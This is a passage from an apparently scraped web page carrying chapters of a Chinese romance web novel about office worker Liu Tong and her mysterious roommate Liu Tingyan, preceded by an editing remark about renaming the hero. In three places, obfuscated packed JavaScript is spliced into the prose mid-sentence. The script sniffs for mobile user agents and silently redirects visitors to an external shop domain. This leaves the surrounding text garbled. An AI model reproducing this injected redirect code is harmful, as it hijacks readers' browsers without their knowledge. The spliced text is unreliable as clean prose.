我已经全程把男主名字替换为柳廷砚,并精准修改洗澡出场那段,改成常年自律锻炼、匀称精悍、穿衣显瘦脱衣有肉的身材,其余文风、剧情完全不变,贴合晋江甜宠轻小说质感。 洗完澡,暖意裹着细碎水汽。 刘瞳盘腿蹲在茶几边,指尖捏着颗脆甜的苹果,点开笔记本微信,熟练拨通置顶备注「小可爱」的闺蜜视频,几秒便接通。 “琳琳,干嘛呢?”她咬下一口果肉,含糊问道。 屏幕里的宋琳琳正仰着脸敷面膜,眉眼弯弯:“躺宿舍敷脸护肤呢!” “我昨天敷过啦,今天偷个懒。”刘瞳晃晃脑袋,忽然想起白天公司趣事,瞬间笑到眉眼弯起,嘴里苹果都没来得及咽下去,“对了对了!想起咱们部门那个人我就想笑,简直离谱!” 宋琳琳瞬间来了精神,隔着屏幕疯狂吐槽:“可不是活该嘛!仗着是总经理那边调过来的,天天在部门摆高姿态,趾高气昂的。本来就是被贬值下放的,半点实事不干,还敢跟总监摆脸色,甚至痴心妄想提加薪!” 她笑得面膜都滑掉半截,捂着肚子直乐:“今天总算翻车了!总监直接一杯咖啡泼上去,那厚得离谱的粉底全花了,场面简直惨不忍睹,笑死人了!早就该收拾她了,留在部门纯粹碍眼!” “哈哈!你面膜掉啦!”刘瞳看着她滑稽的模样,笑得前仰后合,魔性笑声洒满客厅。 “总算把人赶走了,不然天天看得人心烦。”宋琳琳扯回滑落的面膜,无奈翻了个白眼。 这时,浴室方向传来轻微脚步声。 柳廷砚沐浴完毕走出,周身萦绕着清冽干净的水汽。他并未刻意遮掩,腰间只松松系着一条浴巾,是常年自律锻炼打磨出的匀称身材,线条流畅紧实,没有夸张的肌肉块,却每一寸肌理都透着利落力量感,宽肩窄腰,体态挺拔利落,禁欲又极具张力。 他抬眸,便看见沙发上笑得毫无形象的少女,眼底掠过一丝无奈嫌弃,沉默走到她对面落座。 下一秒,视频那头的宋琳琳余光扫到画面,瞳孔骤缩,猛地凑近屏幕,音量陡然拔高:“小瞳!你身后怎么有个男人?!还、还只裹着浴巾?!” 笑得正欢的刘瞳瞬间僵住,笑容卡在脸上。 她僵硬转头,撞进柳廷砚深邃漆黑的眼眸里。男子肌肤冷白,眉眼精致,单手抱胸,正似笑非笑地静静注视着她。 刘瞳眼皮狂跳,手速极快“啪”地合上电脑,直接挂断视频。 屏幕瞬间黑屏,宋琳琳对着不断闪烁的未接通界面满脸疑惑,接连回拨数个视频,全都石沉大海。她愣了两秒,立马扯掉脸上面膜,抓起包包匆匆出门,直奔刘瞳住处。 客厅里气氛微妙。 刘瞳炸毛般指着他:“你、你怎么穿我的浴巾?!” “专属?”柳廷砚淡淡瞥她一眼,抬手拿起玻璃壶慢条斯理倒水,语气散漫。 “就算不是专属,你也不知道避嫌吗?屋里还有我!”刘瞳扶额无语,耳根悄悄发烫。 柳廷砚故作茫然地扫视空旷客厅:“人在哪?” “柳、廷、砚!”刘瞳咬牙切齿,一字一顿。 男人低笑出声,长腿起身步步逼近。清冽的沐浴香气裹挟着浓烈的雄性荷尔蒙扑面而来,他微微俯身,挑眉戏谑:“你不是口口声声对我没兴趣?既然不在意,我穿不穿衣服又有什么关系?” 温热气息落在耳畔,暧昧氛围骤然拉满。 刘瞳看着他近在咫尺的俊脸、纤长颤动的睫毛,心跳瞬间乱了节拍,砰砰狂跳不止,小脸肉眼可见地烧得滚烫。 “少自作多情!”她慌乱推开他,不敢再对视,抓起电脑狼狈逃进卧室,“神经病!” 柳廷砚被她推得坐回茶几,望着少女仓促逃窜的背影,唇角不受控制地勾起一抹浅浅笑意。 卧室内,刘瞳把电脑扔在床上,双手捂着发烫的脸颊,懊恼地小声嘟囔。点开微信,满眼都是宋琳琳的未接视频,接连回拨几次,全都无人接听。 “搞什么,夜猫子居然早睡了?”她疑惑皱眉,索性不再纠结,瘫在床上点开游戏,专心打起了王者。 没过多久,急促的敲门声骤然响起。 客厅闭目休憩的柳廷砚睁眼起身,拧开房门。 门外宋琳琳满脸好奇,刚扬起笑意,视线猝不及防撞上男人常年健身的挺拔身形,肌理干净紧实、体态优越,看清他仅裹一条浴巾的模样,瞬间吓得瞳孔地震,失声尖叫,连连后退几步。 她反复确认门牌,内心疯狂刷屏:没走错!小瞳家真藏了个男人! “找刘瞳?”柳廷砚蹙眉,抬手挡住刺耳的尖叫声。 宋琳琳机械地点头,脑子一片空白。 屋内打游戏正上头的刘瞳被门外尖叫惊得手一抖,操作失误直接输掉对局,心态瞬间炸裂。她气冲冲拉开卧室门,一眼就看见门框边身姿挺拔的柳廷砚,还有门口呆若木鸡的闺蜜。 “琳琳?你怎么来了?” 宋琳琳瞬间回神,快步冲进来拽着她扯进卧室,反手关门,迫不及待开启连环追问模式:“坦白从宽!他是谁?为什么住你家?还穿成这样!你们是不是有事瞒着我?这就是你单身至今的原因?你口味也太独特了吧!” 密密麻麻的问题砸过来,刘瞳听得满头黑线,无奈抬手叫停:“停停停!我一个个说行不行?” “先讲你们什么关系!”宋琳琳搬来板凳坐好,一副吃瓜到底的模样。 “没任何关系。” “那他是谁?” “我也不算熟。”刘瞳老实摇头。 “为什么住你这?” “说是落难暂时借住。” “落难?”宋琳琳瞬间激动摸出手机,“难民?那得报警啊!” 刘瞳赶紧按住她的手机,哭笑不得:“别瞎闹!我们是合租室友。” “合租?什么时候的事?!”宋琳琳瞬间瞪大双眼。 “就前两天晚上。” “你们居然孤男寡女同住这么久?!”她激动得直接从床上弹起来。 “小声点!生怕整栋楼听不见?”刘瞳赶紧拽她坐下,没好气解释,“他睡沙发,各住各的,清清白白!” 接下来整整一小时,刘瞳耐着性子把前因后果细细讲了一遍。 宋琳琳听得表情百变,全程化身表情包,半懂不懂地点头感慨:“你这真是天降横祸,离谱到家了!” “别乌鸦嘴了。”刘瞳白她一眼。 “好好好,我闭嘴!”宋琳琳立马抬手在嘴边做了个拉拉链的动作,随即又凑近她,一脸八卦担忧,“不过你们孤男寡女同居,朝夕相处的,很容易擦枪走火啊!万一情不自禁怎么办?” 刘瞳敲着键盘打游戏,漫不经心回怼:“我眼光没这么差,把持得住。就他这奇葩性格,还不如大街上随便拉一个。” “可男人大多是下半身思考的动物!万一他主动呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847922|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“随他去,凉拌。”刘瞳毫不在意。 “你也太佛系了!我可不想我家乖乖小白菜被猪拱了!”宋琳琳急得不行。 刘瞳转头戏谑看她:“你这么紧张他,不会是你看上了?要不我让他搬去你那住?” “胡说八道什么!”宋琳琳瞬间炸毛,狠狠瞪她一眼。 “开玩笑的。”刘瞳笑得眉眼弯弯,继续专心打游戏。 宋琳琳看着她不上心的模样,无奈叹气:“真是皇上不急太监急!” 两人对视一眼,瞬间玩闹起来。房间里笑声阵阵,互相挠痒打闹,从书桌闹到床上,鲜活又热闹。 最后宋琳琳笑得浑身发软,举手投降:“我认输我认输!再也不敢闹你了!” “算你识相。”刘瞳得意扬下巴,还不忘轻轻再挠她一下。 卧室内嬉笑打闹不断,客厅沙发上的柳廷砚听得一清二楚,默默翻了个身,心底默默吐槽:两个小疯子。 闹够之后,宋琳琳终于想起正事,从包里抽出一张精致的红色请帖递过去:“差点忘了正事!喏,路学长新公司的活动请帖!” 刘瞳指尖微顿,心头猛地一跳,怔怔接过。 请帖右下角,龙飞凤舞的字迹赫然写着她的名字,是她记了很多年的笔迹。 无数细碎回忆瞬间翻涌而上。 学生时代的她孤僻寡言,不爱合群,常常被同学孤立欺负,只能一个人躲在操场大树下偷偷掉眼泪。是温柔的路学长一次次发现她的窘迫,耐心开导、默默守护,像冬日暖阳,照亮了她灰暗的青春。 她理科极差,也是学长耐心辅导,一点点帮她补齐短板,让她稳步进步。后来学长高分考入理想大学,两人渐渐断了联系。 她拼尽全力追赶,却最终以一分之差,与同一所大学失之交臂,难过了整整许久。 后来她偶然得知,学长独自创业,在这座城市站稳脚跟、创办公司,她由衷为他开心,心底也悄悄埋下执念,拼命努力,盼着有朝一日能再见他一面。 时隔多年,这张突如其来的请帖,恰好圆了她藏在心底许久的念想。 刘瞳指尖轻轻摩挲着红纸,眼底盛满细碎笑意,满心欢喜。 宋琳琳看着她一脸痴迷的模样,无奈笑笑:“别傻乐啦,不止请了你,是召集了以前的老同学,主要是邀请大家体验公司新品、帮忙宣传而已。我没你联系方式,就替你领了。” “不管为什么请我,学长喊我,我都愿意去。”刘瞳把请帖紧紧抱在怀里,眉眼温柔。 “听说学长这么多年一直单身,半点绯闻都没有。” “果然!学长人品端正,洁身自好!”刘瞳瞬间眼底发亮。 宋琳琳忍不住泼冷水:“你别太上头,大佬大多喜欢隐婚,万一……” “没有万一!”刘瞳立马打断,语气笃定。 “行行行,你说的都对。”宋琳琳举手投降,又上下打量她一番,挑眉调侃,“不过你真不打算减肥?到时候穿礼服赴宴,别穿不上就尴尬了!” 刘瞳笑容一僵,低头看向自己,瞬间没了底气:“我、我才一百来斤,看着多有福气!” “福气是福气,好看是好看啊!”宋琳琳认真劝她,“瘦一点精致些,让学长看看你的变化,多好。” 这话瞬间戳中刘瞳的心思。 她攥紧手里的请帖,眼神骤然坚定,重重点头:“你说得对! 从今天开始,我正式减肥! 5. 共处一室 精修正文(男主统一:柳廷砚|晋江轻甜日常文风,保留全部原剧情,无额外扩写,自然流畅) 柳廷砚住进来的第一天。傍晚七点,刘瞳哼着小曲打开家门,抬眼就看见他靠在沙发上翻看杂志。 “喏,你的生活用品都在这儿,看看缺什么,再跟我说。”她走上前,将手里的袋子丢到他面前。 “嗯。”柳廷砚只从鼻腔发出一声应答,眼皮都没有抬一下。 见他这般冷淡模样,刘瞳顿时心头一堵,嘴角抽搐,半天憋不出一句话。她猛地想起两人签下的合同,心里稍稍宽慰,懒得同他计较,转身回了自己卧室。 第二天晚上八点,刘瞳回到家中。推门便撞见柳廷砚裹着浴巾倒水,慢悠悠地抿了一口白开水。常年锻炼的身躯匀称紧实,宽肩窄腰,力量线条恰到好处。 “你洗完澡啦,太好了,今天可把我累惨了!”刘瞳随手将背包扔在沙发上,径直走进卫生间。 她转身的刹那,柳廷砚端着水杯,目光一直追随着她,直到卫生间房门关上。 第三天夜里十点,刘瞳踏进门,柳廷砚已经躺在沙发上闭目休息。 她径直走进厨房翻找食物,冰箱空空荡荡,只能苦笑摸了摸干瘪的肚子。 “算了,晚上不吃,正好减肥。”刘瞳小声嘀咕,拍了拍小腹,转身走向卧室,进门之前还恶狠狠地瞪了沙发上的柳廷砚一眼。 等卧室门关上,原本闭眼休憩的柳廷砚,缓缓睁开了双眼。 第四天,依旧是十点到家。柳廷砚坐在沙发上看电视,指尖不停按着遥控器切换频道。 “好累啊!”刘瞳仰天长叹,毫无形象地瘫在沙发上,满脸疲惫。 柳廷砚淡淡瞥了她一眼,视线重新落回屏幕。 刘瞳愤愤瞪回去,起身走进卫生间。就在她转身那一刻,柳廷砚立刻移开视线,静静望向她的背影。 第五天,刘瞳弓着腰,一手扶着酸痛的腰进门,脸色十分难看。屋内灯光全关,昏暗的环境让她愈发烦躁。开灯后,只见柳廷砚已经在沙发上沉沉睡去。 “你倒是日子过得舒坦!”刘瞳快步上前,气冲冲地开口。 转眼到第十天。刘瞳开门,看见柳廷砚窝在沙发上啃零食,茶几、地面散落一地包装袋。连日工作疲惫,加上减肥积攒的压力,所有情绪一下子涌了上来。 她指着他,忍不住开口抱怨:“你一天到晚无所事事,吃喝开销全都靠我,会不会太过分了?”说着,伸手抢走他手里的零食。 柳廷砚没有生气,双手抱胸靠在沙发上,挑眉轻笑:“忍不住了?” “你!真是欠揍!”刘瞳怒火上涌。 “今天怎么回来这么晚?”柳廷砚语气平静,听不出情绪。 刘瞳抓起枕头朝他丢过去:“你住在我这里,样样东西都要用我的!你以为钱财来得容易?我不上班挣钱,两个人要喝西北风吗?” “每天这么晚,都在工作?”柳廷砚微微歪头。 “不然你以为我在外闲逛?”刘瞳站在他面前,睨着他。 “噢,辛苦了。”柳廷砚浅浅一笑,接着拿起零食继续吃,全然无视刘瞳满腔怒火。 “你就不能出去找一份工作?身无分文天天待在家里,打算怎么还我钱?”刘瞳咬牙说道。 “山人自有妙计。” “行,算你厉害!”刘瞳狠狠瞪他一眼,转身走进卧室。 房门关上,柳廷砚放下手中零食,靠着沙发闭目沉思。那场车祸的画面不断在脑海浮现,他眉头紧紧皱起,抬手揉捏眉心。片刻后骤然睁眼,伸手摸出枕头底下的钥匙,眼底情绪复杂。他长久凝视掌心的钥匙,神色一点点阴沉下来,五指猛地收紧,空气仿佛都冷了几分。许久,他缓缓松开手,掌心留下一圈清晰红痕,重重叹了一口气。 另一边,刘瞳洗完澡打开电脑,闺蜜的消息刚好弹出。她拨通视频通话。 “琳琳,找我?” 视频接通,宋琳琳脸上敷着面膜,躺在床上翻了个身:“你最近上班看着精神很差。” “唉,一言难尽,家里供着一尊大佛,实在养不起。”刘瞳垮着脸趴在桌上。 “就是那个男人?他不用出去工作吗?” “就他现在的处境,怎么出门。”刘瞳面露苦色。 “那他以后拿什么还钱?” “谁清楚呢!实在不行我就走法律途径,合同证据都在,谅他也不能赖账!”刘瞳坐直身子。 “对了,你减肥进展怎么样?我看着你好像瘦了不少!”宋琳琳满眼好奇。 “为了减肥,我戒掉晚饭,午餐也刻意少吃,一点荤腥都不敢碰,每天加班到十点。更心疼的是,我囤的零食全都被他吃光了!”刘瞳假装抹了抹眼泪,“不过总算有成效,今天称体重,瘦了三四斤,没有白吃苦。” “真厉害!等你瘦下来,宴会上一亮相,路学长肯定移不开目光!”宋琳琳捂嘴偷笑。 “但愿如此。每天既要打两份工,还要承担家里开销,看着零食被别人吃掉,实在难熬。”刘瞳长长叹息。 “坚持住,就当是为了学长!”宋琳琳凑近屏幕安慰她。 “今年实在太倒霉了,各种各样的烦心事堆在一起,有空一定要去上香,冲冲霉运!”刘瞳鼓着脸颊。 “话说回来,宴会的礼服选好了吗?” 这话瞬间让刘瞳眼前一亮,颓势一扫而空:“选好了!米白色抹胸长裙,特别好看!” “什么款式,仔细说说?” “一时形容不清楚,下次拍照片给你看。” “好吧。”宋琳琳低头整理护肤品,忽然认真开口,“礼服价格不低,你每月还要往家里寄钱,如今又多一份开销,压力太大。要是资金紧张,我先帮你买下,就当明年生日礼物提前送你。” “不行!生日礼物要有惊喜,我自己可以搞定。”刘瞳立刻坐直,态度坚定。 “好好好,依你。我要去洗脸了,没别的事我先挂断啦。” “嗯。” 视频结束,刘瞳耷拉着脑袋,拽过桌边的日历。她盯着十九号的数字,小声喃喃:“今天十九号,这个月三十天,距离下个月一号还有十多天。” 说完拿起笔,在数字十九上画下一道叉。 “日子过得好慢,好想早点见到学长。”她把日历抱在胸口,脑海不断幻想重逢的画面,嘴角不由自主上扬。 “学长,再等等我。”她轻轻亲了一下日历,摆放回原位,握紧拳头给自己打气,“继续加油!” 调整好心情,刘瞳打开电脑,埋头处理当日剩下的工作。 天色微微泛白,刘瞳终于关掉文档,舒展腰身:“终于做完了!” 她走出卧室,客厅沙发上空无一人。刘瞳四处张望,这时厨房传来动静,她好奇走上前探头查看。 晨光落在柳廷砚身上,他正在切菜。余光瞥见那双蓝色兔子凉拖悄悄靠近,柳廷砚手上动作顿了顿,没有回头。 刘瞳轻手轻脚绕到他身后,猛地拍了下他肩膀大喊一声:“哈!” 柳廷砚早就察觉她的小动作,缓缓转头,淡淡抛来一个白眼。 “切,一点意思都没有。”刘瞳撇撇嘴准备离开。 就在这时,烤箱发出声响,浓郁诱人的香气瞬间填满厨房,刘瞳的肚子不合时宜地咕咕作响。 她尴尬地对着柳廷砚讪笑两声,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847923|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 方却懒得给她一个眼神。 刘瞳十分自觉搬好椅子坐在餐桌旁,单手撑着脸,静静望着柳廷砚忙碌的背影。 心底莫名冒出一个奇怪念头:居然有种寻常夫妻、岁月静好的感觉。没想到这家伙还会做饭,香气诱人,就是不知道味道如何。 她眼巴巴守在桌边,肚子不断发出抗议声。 漫长等待二十分钟,柳廷砚端着餐盘走出厨房。分格餐盘摆放精致餐点,一旁温着一杯牛奶。 刘瞳使劲挥手,示意他把食物端过来,谁料柳廷砚径直绕过她,坐到对面,抽出纸巾慢条斯理擦手,拿起刀叉切面包。 “你别告诉我,忙活这么久,只给自己准备了早餐?”刘瞳怒瞪着他。 “想吃自己拿餐具。”柳廷砚咽下一口面包,缓缓开口。 刘瞳立刻起身,飞快取来碗筷,毫无形象地直接上手开吃。对面的柳廷砚看着她粗鲁的吃法,眼神写满嫌弃。 “哇!柳廷砚,你做的这是什么,也太好吃了吧!”她大口咀嚼,吃完还下意识舔了舔指尖。 柳廷砚白了她一眼,安静用餐,一言不发。 “看不出来你居然会下厨,手艺这么棒!”刘瞳一口气喝完温热牛奶,伸手指向一盘带有紫黑色酱料的薄饼,“这个是什么?” “瑞典烤薄饼。”柳廷砚放下刀叉。 “你怎么会做这个?”刘瞳伸出手指蘸了一点酱料放进嘴里,眼睛倏地睁大。 “早年去过瑞典尝过,觉得尚可,就学了。”柳廷砚说得云淡风轻。 “太美味了!”刘瞳满脸满足。平日里忙于工作,泡面是家常便饭,她向来舍不得花钱享用精致餐食,此刻只觉得像做梦。 她干脆拿起薄饼大口吃下,抬眼对上柳廷砚无奈抱胸注视她的模样。 “不能用叉子或者筷子吗?”柳廷砚扶额叹气。 “都饿坏了,哪里顾得上形象!对了,你还会做什么?以后早餐交给你了,有空全部教给我!”刘瞳眉眼弯弯,伸手拽住他雪白的衣袖轻轻摇晃。 柳廷砚垂眸看向她抓着自己衣袖的手,抬眼望向她:“拿开。” “啊,不好意思,我不是故意的!”对上他暗沉的眼眸,刘瞳讪讪收回手。 柳廷砚抽出纸巾,一脸嫌恶地擦拭衣袖。 “切,天天待在家里,又不出门,讲究这么多干什么。”刘瞳小声嘟囔,低头继续吃东西,视线时不时偷瞄他。 吃饱之后,刘瞳舒服地打了个饱嗝,摸着圆滚滚的肚子靠在椅背上:“太满足了,丑大哥,你也太厉害了!” “我有名字,不要乱喊绰号。”柳廷砚眉头微蹙。 “知道啦柳廷砚!这些食材你从哪里弄来的?”她指着空盘子问道。 “你平时采购回来的。” “不会吧,用我买的普通食材,能做出这么精致的早餐?”刘瞳瞪大双眼,十分难以置信,“我也经常买菜,怎么就做不出这个味道?” “单凭你的脑子,怕是一辈子都摸索不出来。”柳廷砚淡淡嗤笑。 “喂!你会不会好好说话!”刘瞳猛地站起身,怒气冲冲盯着一脸淡然的男人。 这人永远喜欢出言呛她,总能轻易把她惹恼。 “你等着,总有一天我肯定学会!” 收拾碗筷的时候,刘瞳忽然开口:“你真的不能外出露面吗?单凭你的长相,外人未必认得,还在担心追杀你的人?” 柳廷砚身形微僵,手掌悄然收紧,眼底掠过一丝冷厉,低声回答:“他们清楚我现在的模样。” “唉,可惜了。本来还指望你外出工作,分担一部分开销。”刘瞳如同泄了气的气球,端起餐盘走进厨房。 6. 男女搭配,干活不累 下班走出写字楼,傍晚的热风卷着街边小吃的香气扑过来。宋琳琳坐进车里,降下车窗看向身旁的刘瞳,语气藏着顾虑:“小瞳,下班后还要赶兼职?” 刘瞳弯起一对浅浅梨涡,轻轻点头:“嗯,你不用管我。” “我绕路送你过去,夜里独行不安全。”琳琳扒着车窗再三提议。 “千万别!”刘瞳连忙摆手推辞,“今天办公室堆的活全是你帮我扛下来的,你回去铁定要加班,别为我折腾了。” 拗不过她的坚持,琳琳只能叹口气叮嘱再三:“路上当心,早点收工回家。” “放心啦!” 挥别好友,刘瞳跨上共享单车,踩着晚风一路赶到熟悉的咖啡店。推门而入,醇厚的咖啡香萦绕鼻尖,店内长相俊朗的服务生一见她,眼底漾开浅笑,顺手递上一杯冰咖。 “老板在里头吗?”刘瞳捧着冰凉的杯子,圆溜溜的眼睛扫过店内。 服务生伸出修长食指指向内侧房门:“在里间打游戏呢。” “谢咯。”刘瞳仰头一口灌完咖啡,咧嘴道过谢,轻手轻脚推开里屋门。 四十来岁的老板体态微胖,戴着蓝牙耳机沉浸在手游对局里,嘴里碎碎念叨着战况,对外界动静浑然不觉。 刘瞳抬手轻敲桌面,接连几下都石沉大海。她无奈抬手,“啪”地轻拍桌板。 老板吓得浑身一颤,猛地从座椅上弹起来,场面滑稽又窘迫。刘瞳憋不住笑意,噗嗤笑出声。 “小瞳什么时候进来的?”老板尴尬地挠挠后脑勺坐回原位。 “刚到,没想到老板也在玩王者。”刘瞳歪着头看向屏幕。 “抽空放松一下,劳逸结合嘛。”憨厚的老板笑得腼腆。 刘瞳凑到他身侧,捂着嘴小声搭话:“这游戏最容易上瘾,我闲下来也总玩两把。” “那咱们可算同道中人!”老板爽朗大笑。 闲话聊尽,刘瞳切入正题:“今天安排什么兼职活?” 老板敛去笑意,神色难得正经,抬手指向沙发:“穿上这套熊猫玩偶服,在门口发两小时传单,必须全数发完。” 沙发上堆着一套毛茸茸的熊猫套装,看着就厚重闷热。 “保证圆满完成任务!”刘瞳接过厚厚一沓传单,站直身子敬了个俏皮军礼。 老板被她逗乐,握拳鼓劲:“加油干活!” 片刻后,裹着玩偶服的刘瞳踉跄走出里间,四肢被毛绒布料束缚,一举一动笨拙又软萌。 服务生含笑望着她:“闷不闷?累了就进店歇脚,我请你喝冰咖啡。” “一点都不重,我轻巧得很!”刘瞳扬起笑脸,眼里亮晶晶的。 “辛苦啦。”服务生的笑意更深几分。 刘瞳嘿嘿笑两声,抱着头套与传单踏出店门。街道上车水马龙,盛夏的热气扑面而来,她轻叹一口气,戴上沉甸甸的头套。 她丝毫没有留意,街角背光的阴影里,柳廷砚身着黑色休闲装,压低鸭舌帽,隐在暗处静静凝望她忙碌的身影。 路人来去匆匆,有人客气接下传单,也有人目不斜视擦肩而过。不过十分钟,密闭的玩偶服就闷出一身薄汗。刘瞳扯下头套透气,白净脸颊被蒸得泛红,豆大的汗珠顺着下颌滑落,她大口喘着气,稍作休整又重新戴回头套。 暗处的柳廷砚瞧着这一幕,心口莫名堵得发闷,抬脚快步走到她面前,抬手一把摘走她的头套。 四目相撞,柳廷砚眼底翻涌着复杂心绪,刘瞳则瞪圆双眼,错愕愣在原地:“你怎么会在这里?” 柳廷砚一言不发,自顾自戴上头套,抢过她大半传单,学着她的模样站在街边派发。 刘瞳看得一头雾水,暗自纳闷这人莫不是今天脑子不对劲。愣神半晌,她连忙抢回一部分传单一同分发。 路灯次第亮起,街边一胖一瘦两道身影格外惹眼,路人纷纷好奇驻足,主动接过传单。不少女生留意到头套下挺拔的身形,上前搭讪合照,出乎意料的是,一向冷淡的柳廷砚竟悉数配合。 看着围在他身边越聚越多的女生,刘瞳心底泛起一阵别扭的酸涩,瘪着小嘴暗自腹诽:真是走到哪都惹烂桃花。 两个小时的派发工作一晃而过,紧接着二人又接到搬运红酒的活。 负责监工的男人三十出头,身形高挑纤细,嗓音柔缓,说话习惯性翘着兰花指,鼻尖两撮山羊小胡显得格外滑稽,偏偏面色凶狠。 “这批法国进口红酒价值不菲,轻拿轻放,打碎一瓶,你们整月工资都赔不起。” 刘瞳忙不迭点头哈腰:“明白明白,我们一定小心谨慎。” 监工满意扬着下巴转身,刚迈步就听见一道冷淡的嗓音响起。 “楼下设有电梯,为何弃之不用?”柳廷砚单手压着帽檐,另一只手抱胸倚在电梯旁。 监工猛地回头怒喝:“用餐高峰期电梯专供客人使用,轮得到临时工占用?” “多两个人并不会碍事。”柳廷砚语气平淡,丝毫没有退让之意。 这番话气得监工兰花指不住颤抖,鼻尖小胡跟着抖动:“能干就干,不能做立刻走人,我另行找人。” 气氛紧绷之际,刘瞳慌忙冲到二人中间,堆起满脸讨好的笑意打圆场:“我们搬!马上就搬!您别往心里去,他只是随口一问。” 监工狠狠瞪了柳廷砚一眼,怒气冲冲拂袖离去。 刘瞳垮下脸,委屈巴巴看向身侧人:“小丑哥,你别乱插嘴行不行,差点害得我俩丢了兼职。” 柳廷砚瞥向眼前堆积如山、高过人身的红酒箱,淡淡反问:“这么多箱子,你打算独自搬到几时?” “慢慢搬总能做完。”刘瞳摆了摆手,咬牙抱起一箱红酒,沉甸甸的重量压得手臂发酸。她望着绵长的楼梯,硬着头皮拾级而上,步履迟缓又吃力。 仅仅爬到三楼转角,刘瞳就撑不住了,小脸涨得通红,气喘吁吁地停下歇息。几番走走停停,她干脆瘫坐在台阶上揉胳膊。 抬眼间,柳廷砚抱着两箱红酒稳步上楼,神色淡然,气息平稳。刘瞳惊得一跃而起:“你抱着两箱居然不累?” 柳廷砚路过她身侧,轻飘飘丢来一记白眼。刘瞳后知后觉侧身让路,望着他上楼的背影懊恼拍头,这人这么能干,偏偏等到现在才出手。 五十箱红酒,刘瞳费尽气力只搬完十箱,余下四十箱全由柳廷砚包揽。他中途仅休息两次,反观自己,歇脚的次数数都数不过来。 全部搬运结束,夜色彻底沉落。刘瞳弓着腰揉着酸胀的后腰,瞥向同样扶着腰的柳廷砚,忍不住调侃:“这□□会到我每天下班累成一滩烂泥是什么滋味了吧?” 柳廷砚轻嗤一声:“总算有自知之明,认清自己的状态。” “你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847924|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 刘瞳一时气闷猛地挺身理论,腰间骤然传来刺痛,疼得她瞬间蔫下去,只能弓着身子用眼神狠狠剜他。 她暗自叹气:好在只是短期临时工,不用日日搬运重物,不然身体迟早扛不住。 “纯属自讨苦吃。”柳廷砚蹙眉揉着后腰。 “如今短期兼职一票难求,有活做就该知足。”刘瞳不服气地回怼。 她抬手指向不远处烟火缭绕的夜宵摊:“饿不饿,要不要吃点东西垫肚子?” 柳廷砚抬眸看她:“你夜里向来不吃晚饭。” 刘瞳骤然瞪圆眼睛:“你怎么知道?那晚你根本没入睡?” 柳廷砚勾起唇角,避而不答。 “我问你饿不饿!”刘瞳加重语调重复一遍。 柳廷砚扫了眼喧闹的小摊周遭,收回目光,推起共享单车径直离开。 “真是大少爷脾气,累成这样还端架子。”刘瞳翻了个白眼,蹬车快步追上去。 回到租住的小屋,刘瞳随手将背包扔在沙发上,急匆匆叮嘱:“我先洗澡,不许跟我争抢。”话音未落,人已经钻进卫生间。 柳廷砚浑身酸痛地落座沙发,揉着酸胀的腰肢,倒了一杯温水。轻快的歌声隔着门板悠悠飘出,调子软糯悦耳。 我开始美丽的际遇,你来自东或西,都没有太大的关系。 柳廷砚握着水杯的指尖微顿,唇角不受控制上扬,仰头饮尽温水。连日的疲惫翻涌上来,困意沉沉裹住四肢,他靠着沙发沉沉睡去。 半小时后,刘瞳洗漱完毕走出卫生间,客厅只留一盏柔和小灯。瞧见熟睡的柳廷砚,她放轻脚步蹲在沙发边,抬手轻拍他的手背:“小丑哥,我洗完了,快去洗漱。” 柳廷砚烦躁地挥开手臂,眉头紧锁,睡得沉极。 “睡得跟头大猪一样。”刘瞳无奈吐槽,伸手推了推他的肩膀。 他含糊嘟囔:“别闹,太累了,要睡觉。” “再困也要洗澡,别把我的沙发弄脏了。”刘瞳拽着他的手臂使劲拉扯,可对方纹丝不动。 拉扯间柳廷砚微微回拽,刘瞳重心不稳,直直扑进他怀里,小巧的鼻头狠狠撞上紧实坚硬的胸膛。她捂着发酸的鼻尖皱起脸,气鼓鼓嗔怪:“疼死我了,你胸口怎么硬邦邦的。” 她抬手轻锤他的胸膛试图叫醒人,柳廷砚下意识攥住她的手腕。刘瞳奋力挣脱,依旧不死心地闹他,奈何他疲惫至极,闭着眼懒得动弹。 刘瞳望着他毫无防备的睡颜,玩性大发,伸出手指轻轻挑起他的鼻尖,将鼻孔怼得朝天,模样憨态可掬。她忍不住低笑出声:“果真像一只贪睡大猪。” 笑意敛去,她静静打量起他的五官。暖光落下来,平日里被冷漠掩盖的样貌格外出众,纤长浓密的睫毛如同细密毛刷,高挺利落的鼻梁,轮廓清晰的薄唇。 刘瞳指尖轻轻碰了碰他的睫毛,小声碎碎念:“睫毛也太长了,真想剪下来贴在自己眼上。瞧这薄唇,一看就是薄情寡义的别扭丑男人。” 嘴上不停吐槽,指尖却不安分地轻点他的眉眼鼻梁。 